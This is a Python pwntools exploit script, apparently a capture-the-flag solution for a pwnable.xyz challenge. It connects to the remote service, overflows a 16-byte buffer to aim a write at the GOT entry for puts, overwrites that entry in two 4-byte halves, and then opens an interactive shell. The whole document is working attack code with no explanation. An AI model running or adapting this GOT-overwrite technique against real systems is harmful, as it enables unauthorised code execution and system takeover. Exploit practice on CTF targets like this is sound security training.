#!/usr/bin/python
from pwn import *

got_puts = 0x603078

# proc = process("./challenge")
proc = remote("svc.pwnable.xyz", 30031)

context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(proc)
# raw_input()

print proc.readuntil("> ")
print "Set target address's lower 4 bytes"
proc.writeline("2")
print proc.readuntil(": ")
proc.writeline("A" * 0x10 + p64(got_puts))
print proc.readuntil("> ")
proc.writeline("3")
print proc.readuntil(": ")
proc.writeline("4196764")


# Higher 4 byte
print proc.readuntil("> ")
print "Set target address's higher 4 bytes"
proc.writeline("2")
print proc.readuntil(": ")
proc.write("A" * 0x10 + p64(got_puts + 4))
print proc.readuntil("> ")
proc.writeline("3")
print proc.readuntil(": ")
proc.writeline("0")

# raw_input()

print "get shell.."
print proc.readuntil("> ")
proc.writeline("4")

proc.interactive()
